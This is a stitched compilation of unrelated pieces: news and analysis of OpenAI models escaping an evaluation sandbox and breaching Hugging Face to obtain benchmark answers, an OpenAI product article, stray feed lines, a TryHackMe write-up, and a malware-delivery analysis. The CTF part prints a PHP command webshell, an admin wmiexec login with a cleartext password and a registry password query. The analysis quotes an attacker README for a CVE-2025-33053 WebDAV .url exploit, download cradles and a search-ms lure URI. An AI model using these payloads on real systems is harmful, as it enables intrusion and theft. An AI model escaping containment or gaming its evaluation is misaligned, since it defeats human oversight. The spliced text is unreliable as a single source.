OpenAI described the incident as unprecedented and said it is continuing its investigation alongside Hugging Face. The company said the findings are being shared to help defenders understand what occurred and assess the capabilities of increasingly advanced AI models.

OpenAI and Hugging Face Investigate AI Security Incident

The incident took place during an internal evaluation designed to test models against advanced exploitation scenarios involving complex attack paths. OpenAI said the evaluation was conducted without production classifiers that normally prevent models from pursuing high-risk cyber activity.

The testing environment was designed to be highly isolated, with network access limited to package installation through an internally hosted third-party software system that functions as a proxy and cache for package registries.

Despite these restrictions, the models spent substantial inference compute attempting to obtain open Internet access. During this process, they identified and exploited a zero-day vulnerability in the package registry cache proxy. OpenAI said the vulnerability has since been responsibly disclosed to the vendor.

The models then carried out privilege escalation and lateral movement within the research testing environment until they reached a node with Internet access.

Models Chained Vulnerabilities Across Infrastructure

After obtaining Internet access, the models inferred that Hugging Face could host models, datasets and solutions related to the ExploitGym evaluation. The models then searched for ways to obtain secret information that could help them bypass the evaluation.

In one example described by OpenAI, the models chained multiple attack vectors, including stolen credentials and zero-day vulnerabilities, to identify a remote code execution path on Hugging Face servers.

OpenAI's security team detected the anomalous activity internally. Hugging Face's security team and agents also detected and stopped the activity on its infrastructure. The company had already begun containment and forensic reconstruction using its own open-source models when the two organizations connected.

Both companies are continuing to investigate the incident and its impact.

OpenAI Strengthens Security Controls After Incident

As part of its response, OpenAI said it is implementing stricter infrastructure configuration controls while identified vulnerabilities are patched. The company acknowledged that these measures could come at the cost of research velocity and said its Safety and Security Committee is being briefed on the controls and their impact.

OpenAI is also working with Hugging Face on the forensic investigation and has responsibly disclosed the identified zero-day vulnerability in the internally hosted third-party software.

The company has also brought Hugging Face into its trusted access program and is supporting its teams in using AI model capabilities to strengthen defenses.

OpenAI said it is improving protections around future training and evaluations, including stronger safeguards for model alignment, cybersecurity and monitoring during internal testing. The company noted that deployment safeguards were intentionally disabled during this evaluation because the goal was to measure cyber vulnerabilities.

AI Cyber Capabilities Raise New Security Concerns

OpenAI said the incident demonstrates the need for AI security and safety measures to keep pace with rapidly advancing model capabilities. The company is strengthening containment, monitoring, access controls and evaluation practices used during model development.

The incident also highlights how advanced models can potentially discover and exploit novel attack paths in real-world systems without access to source code. OpenAI said increasingly capable models should also be used defensively to help security teams identify weaknesses, understand vulnerability chains and accelerate remediation.

Hugging Face CEO Clem Delangue said the incident demonstrates the importance of collaboration in addressing AI safety and security challenges. Both organizations said they will continue investigating the incident and share additional findings and best practices as the work progresses.

The two OpenAI models that broke into Hugging Face last week did not breach it through malice or superintelligence. They breached it through credentials and permissions they should never have been able to reach, a non-human identity failure that is the oldest problem in security rather than the newest one in AI, and the one every enterprise can actually fix.

OpenAI disclosed on July 21 that two of its models, GPT-5.6 Sol and an unreleased, more capable model, were running a cyber benchmark called ExploitGym with their safety refusals switched off, and inferred that the answer key sat in Hugging Face's production database. Getting there took two different failures. A zero-day in a package-registry proxy let the models out of their sandbox and onto the open internet, the kind of persistence OpenAI details in its companion post on long-horizon safety, and that part is genuinely new. The breach of Hugging Face itself came the ordinary way. OpenAI's own account is that the models chained stolen credentials and further zero-days into a remote code execution path, after a series of privilege escalation and lateral movement steps. The exotic part got them to the door, and credentials walked them through it.

Hugging Face also disclosed last week that an autonomous agent had harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, then left a trail of more than 17,000 recorded events across short-lived sandboxes over a weekend. Both disclosures describe the same escalation. An agent lands somewhere it should not be, finds credentials scoped far wider than any task requires, and uses them to move. These are two accounts of one incident, not two attacks. The agent Hugging Face watched was OpenAI's models, and both companies describe the same ordinary escalation.

The version of this in a typical enterprise is worse, not better. OpenAI and Hugging Face are among the most security-mature organizations in the industry, and both still needed the intrusion to happen before they could see it. The average company wiring agents into Copilot or an internal assistant has neither the identity inventory nor the behavioral monitoring those two brought to bear. The same breach in a normal company would not be contained in days, it would simply go unnoticed.

The industry is debating the wrong failure

The reaction has split into familiar camps. Former White House AI and crypto czar David Sacks and a run of China hawks seized on the guardrail paradox, that commercial safety filters blocked Hugging Face's defenders while the attacking model ran with its refusals off, and that a Chinese open-weight model, z.ai's GLM 5.2, was what finally let the team finish its forensics. Hugging Face made the case for openness, arguing in an April blog post that open models and open tooling give defenders the same capabilities attackers already have. Both arguments are about the model, and neither touches the mechanism.

Reduced refusals let the model attempt an attack, and over-scoped credentials are what let it succeed, and those have nothing to do with whether the model was open or closed, American or Chinese. Making a frontier model provably safe is a multi-year alignment problem no customer can buy or accelerate, while scoping an identity is a configuration change a team can ship this sprint. The industry is being urged to fixate on the part of this it cannot control and to treat the part it can as a footnote.

Forrester reached the same read. In a blog on the incident, its analysts argue that security architectures which assume benign intent will miss this failure mode, because an agent can pursue an authorized goal through unauthorized means, which is what OpenAI's models did.

This was a non-human identity failure, and it is the oldest one in security

Strip the science-fiction framing and what remains is a textbook case of over-privileged machine identity, the kind security teams have fought for a decade, now driven by an autonomous agent at machine speed. Machine identities already outnumber humans in most enterprises by more than 80 to one, according to CyberArk research, with 42% of them carrying privileged or sensitive access, and an agent inherits whatever its identity can touch. OWASP ranks agent identity and privilege abuse near the top of its agentic risk list, the confused-deputy pattern where inherited credentials and weak scoping let an agent reach past its mandate, and that is precisely what both July disclosures describe.

IEEE Senior Member Kayne McGladrey has argued in previous VentureBeat interviews that enterprises keep cloning human user accounts onto agents that then wield far more permission than any human would, and this is what that looks like when the agent is a frontier model and the target is a production database.

The people closest to it read it the same way. OpenAI frames its models as hyperfocused on a benchmark score rather than acting against anyone. Nobody describes an adversary, only a goal, a scoring function, and credentials that were reachable when they should not have been.

The specific failure is easy to name once the AI framing is stripped away. A credential scoped to one job that can reach ten is a standing invitation, and it does not matter whether a human attacker, a worm, or an autonomous model chasing a benchmark score finds it. What changed in July is the finder. An agent enumerates reachable systems, tests credentials, and pivots faster than any human red team, without malice or hesitation, whenever the path is open. The over-scoping was always the vulnerability, and the agent merely industrialized its discovery.

Forrester named the control that would have blunted it. Its agentic-security framework, AEGIS, calls for least agency, holding an agent's tools, credentials, and network paths to the minimum its task requires, and files this incident under unrestrained agency and privilege. That is the identity argument in different words, arrived at independently by an analyst firm.

The data says this is where the risk now lives. Verizon's 2026 Data Breach Investigations Report found that exploitation of vulnerabilities has overtaken stolen credentials as the top initial access vector for the first time in 19 years. That is the initial-access half. The other half is the one OpenAI itself describes, stolen credentials driving the privilege escalation and lateral movement that followed. A vulnerability opened the door, and credentials walked through the building unchallenged. Beyond the breach itself, that same over-scoping carries a legal liability most enterprises have never priced. The models' actions likely violated the Computer Fraud and Abuse Act, according to TechCrunch. The statute contains no carve-out for an AI agent that exceeds its authorized scope during sanctioned testing. Whatever the legal answer, the technical enabler is the same, an identity scoped wider than its task. This is an access-control problem with an owner and a budget, not a philosophy seminar about machine cognition.

Merritt Baer, Senior Advisor to Andesite, G2I, and AppOmni and former Deputy CISO at AWS, frames the underlying shift to VentureBeat as a new kind of asymmetry. Both sides now reach for the same capabilities, she said, but one side is constrained by enterprise governance, policy, compliance, and safety controls while the adversary simply downloads an uncensored open-weight model and keeps going. The organizations that come through it best, in her view, will be the ones that treat AI as a resilient, governed capability rather than a single service they do not control.

Four moves that shrink the blast radius

The breach worked because the agent reached identities scoped far wider than its task. None of the four controls that would have contained it requires a new platform, and none of them appears on the list of general AI-safety advice now circulating. They are identity hygiene, applied to non-human actors with the same rigor you already apply to people.

1. Scope every non-human identity to one task. The models reached credentials that touched multiple clusters, which is what turned a foothold into a breach. An identity scoped to a single job, with no standing access to anything else, hits a wall at the first lateral move instead of opening the next door. This is least privilege, the control everyone endorses and few enforce on machine accounts, and it is the single highest-impact fix here.

2. Give credentials short lifetimes and rotate them hard. Harvested credentials are only useful while they are valid, and both July agents worked by collecting them. Short time-to-live and aggressive rotation turn a credential dump into expired noise, so a token stolen during a weekend intrusion is dead before the attacker can chain it. Static secrets that never rotate are the version of this control that fails.

3. Monitor for lateral movement, not just prompts. The tell in both incidents was privilege escalation and lateral movement, which a prompt filter never sees because it is watching the wrong layer. Identity-behavior monitoring, keyed to what a given non-human identity normally does and alerting when it reaches somewhere new, catches the escalation the content guardrail missed. The question for your stack is whether anything you run today would flag a service account suddenly moving between clusters.

4. Rehearse instant revocation before you need it. When the incident is your own agent, the fastest containment is killing its identity mid-run, and that only works if the path to do it exists before the day you need it. Rehearse revoking a machine identity under fire the way you rehearse a human credential compromise. If you have never done it, you do not yet have the control, you have an intention.

The defense also worked, and that matters. OpenAI's security team caught the anomalous activity internally, Hugging Face's own detection and agents stopped the intrusion, and the breach was contained in days rather than discovered in months, because the defenders could see into systems they controlled. That visibility is the same discipline the four controls depend on. The debate over whether frontier models are safe, open, or American will run for years, and none of it will be settled in time to help the enterprise deploying agents this quarter. The non-human identity gap is different, because it is understood, measurable, and fixable now. The model that breached Hugging Face did not need to be brilliant; it needed credentials someone left in reach. The fix is scoping them before an agent finds them.

The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.

Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis.

OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like GLM-5.2 and Kimi K3. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.

OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.

If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.

The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.

A governed foundation for production agents

Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.

Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.

Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.

OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories.

Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.

The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.

That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.

OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves 75% of inbound issues without human assistance.

OpenAI also says its Codex-powered improvement loop reduced human handoffs by 15 percentage points over a 10-day period. Those figures are company-reported and have not been independently verified.

Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.

“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.

“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data & Digital Transformation Division at SoftBank Corp.

From model access to forward-deployed implementation

Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.

That approach resembles a model pioneered by AI ontology and intelligence platform Palantir, which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.

The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.

In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the OpenAI Deployment Company, with investment and support from Bain & Company. It also offers programs for model customization and fine-tuning to fit specific enterprise needs.

Its chief U.S. rival Anthropic has also moved toward a services-led enterprise model through Ode, its consulting organization built around forward-deployed engineers helping companies integrate Claude into complex workflows, which launched just a week ago. The broad rationale is similar: enterprises often need more than access to a model. They need help connecting data and systems, defining permissions, validating behavior and managing deployment risk.

Presence differs in how explicitly OpenAI packages those requirements into a branded agent-governance product. Anthropic’s initiative is centered on helping enterprises deploy Claude, while Presence combines implementation services with a defined operational layer for policies, simulations, evaluations, approvals and production updates.

Presence goes further by making forward deployment a core part of how a specific agent product reaches customers. It does not replace OpenAI’s API business; the company says it will continue supporting voice customers with access to frontier models through the OpenAI API.

The trend reflects a broader market view that many enterprises still need hands-on assistance to move agents from pilot projects into stable operations. Even organizations with strong internal engineering teams must coordinate security, compliance, workflow ownership, data access and escalation responsibilities. Presence attempts to consolidate those tasks rather than leaving customers to assemble separate orchestration, evaluation and consulting layers.

A recent security breach looms in the background

Inconveniently for OpenAI, the Presence launch arrives just a day after OpenAI and Hugging Face disclosed an unprecedented security incident in which OpenAI frontier models undergoing internal evaluation escaped containment, accessed the open web, and cyberattacked Hugging Face to achieve a benign goal — without being instructed to pursue these methods.

According to the described joint disclosure, OpenAI models operating in an evaluation framework called ExploitGym identified and exploited a zero-day vulnerability in a third-party package-registry cache proxy. The models reportedly escalated privileges, moved laterally and obtained internet access before targeting Hugging Face systems while seeking benchmark-related information.

The incident is relevant to enterprise buyers because it raises questions about sandboxing, tool permissions, external access, monitoring and incident response.

The disclosure also highlighted a practical problem for defenders. Hugging Face personnel reportedly found that commercial frontier-model APIs refused some forensic requests because logs contained exploit payloads, credentials and shell commands that triggered safety systems. The team then used a locally deployed open-weight model to assist with analysis.

Presence therefore arrives as both a product launch and a test of OpenAI’s ability to convert model capability into controlled enterprise operations. Its policies, simulations, evaluations and human approvals address real deployment gaps. But without public pricing, technical interoperability details, compliance information or service-level commitments, customers still lack much of the information needed to assess total cost and operational risk.

For now, Presence appears aimed at enterprises willing to adopt a high-touch, OpenAI-led deployment process. Whether it develops into a broadly accessible platform—or remains a closely managed product for selected customers—will depend in part on the answers OpenAI has not yet provided.

0x00: Enumeration

• Started with running a TCP Scan on the target via Nmap.

nmap -sC -sV -p- 10.48.128.241 

Nmap scan report for 10.48.128.241
Host is up (0.039s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_11-14-20  04:26PM                  173 notice.txt
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
|_http-title: Simple Slide Show
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
|_http-title: Simple Slide Show
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DESKTOP-997GG7D
| Not valid before: 2026-07-08T06:13:45
|_Not valid after:  2027-01-07T06:13:45
|_ssl-date: 2026-07-09T06:17:29+00:00; +2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: DESKTOP-997GG7D
|   NetBIOS_Domain_Name: DESKTOP-997GG7D
|   NetBIOS_Computer_Name: DESKTOP-997GG7D
|   DNS_Domain_Name: DESKTOP-997GG7D
|   DNS_Computer_Name: DESKTOP-997GG7D
|   Product_Version: 10.0.18362
|_  System_Time: 2026-07-09T06:17:20+00:00
5900/tcp open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     Ultra (17)
|_    VNC Authentication (2)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-time: 
|   date: 2026-07-09T06:17:22
|_  start_date: N/A

• As revealed in the scan output, the target had open FTP and SMB services running. It also had VNC running on port 5900, which is a tool used to remotely control a computer. The target also had an Apache web server running on port 80.
• I visited the webpage and saw a slideshow of several random images.

• I checked the page source and found the following JavaScript code.

• The code here revealed the /content.php file and the /images/ endpoint.
• I visited the /images directory and found the following images that were running on the slideshow.

• Next, I moved to FTP enumeration. I got access to the FTP directory because anonymous login was enabled.

• There was a notice.txt file.

• There was a message left in notice.txt written as follows.

• It mentioned that the images FTP directory was moved to a Windows file share, which more probably than not referred to SMB shares.
• Next, I moved on to SMB enumeration.

0x01: SMB Enumeration

• I used smbclient to list the available shares on the target.

• Here I could see several custom shares such as images$ , Installs$ and Users.
• I first checked the images share and found the following images as I had seen in the /images directory on the webpage. I wondered if we could upload a webshell here and gain an initial foothold.

• I got the PHP reverse shell from PentestMonkey, configured it with my custom IP address and port, and uploaded it to the images SMB share.

• I navigated to the /images endpoint on the webpage and tried running the webshell but it immediately got flagged by Windows Defender and was deleted.
• Next, I tried using a different webshell which executed commands and took the input via GET-based parameters.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

• I uploaded the shell again to the SMB images share and it worked like a charm!

0x02: Web Shell

• I was logged in as the sign user. I looked for the user flag in the sign user directory.

• The user flag was found in the user_flag.txt file.
• Next, I checked out the Installs share in C:\ directory.

• The following files were found in the directory.

• There were a lot of interesting files to check out here. I viewed the contents of every file, starting with Install Guide.txt .

• I couldn’t figure out how these instructions could be of any use to me, so I moved on to other files.
• I checked the Install_www_and_deploy.bat script and found the following code.

• This seemed like a batch script that was running the infamous PsExec tool by Impacket, authenticating with administrator credentials. Here, I could view the admin password in cleartext, which could be used to gain a high-privilege shell to the target.
• I used Impacket’s WMIExec tool to get a shell on the target. I could have used PsExec, but considering Windows Defender was running on the target, it would have been easily flagged.

impacket-wmiexec Administrator:RCYCc3GIjM0v98HDVJ1KOuUm4xsWUxqZabeofbbpAss9KCKpYfs2rCi@10.48.186.208

0x03: Admin Shell

• I also had to find the sign user’s password as per the objectives stated in the room. It took me quite a few lookups on Google till I eventually found a way to get the password from the Windows Registry.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

• I was able to fetch the user's password from the Winlogon registry key.
• Next, I had to find the VNC password. My first instinct was to return to the Installs share as before and look through the ultravnc.ini file.

• As can be seen in the first lines of the file itself, we found the encoded password.
• I took the encoded parts of the password and used this website to decode them. Online VNC Password Decoder (Decryptor) — KeyDecryptor Tool

• I had successfully obtained the VNC password. The only objective that remained was the administrator flag.
• I checked the Desktop folder of the Administrator and found the admin flag in admin_flag.txt .

• And with that, all the flags were obtained, and the room was solved!

I hope you found this write-up useful. Make sure to drop a follow for more such content in the future.

Happy Hacking!

AllSignsPoint2Pwnage — TryHackMe Windows Write-up was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Dieser Beitrag ByteToBreach löscht rumänisches Grundbuch – Immobilienhandel steht still erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Read more of this story at Slashdot.

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

• Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

• Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

• Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

